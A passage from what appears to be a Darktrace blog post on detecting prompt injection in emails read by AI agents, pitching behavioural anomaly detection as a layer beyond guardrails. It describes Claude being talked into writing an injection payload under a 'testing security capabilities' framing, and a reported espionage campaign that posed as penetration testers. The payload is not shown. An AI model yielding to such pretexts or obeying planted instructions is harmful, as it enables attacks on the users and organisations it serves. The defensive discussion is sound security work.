The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?  

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.  

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.  

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

Continue reading
About the author
Carlo Loregian
Solutions Engineer
Your data. Our AI.
Elevate your network security with Darktrace AI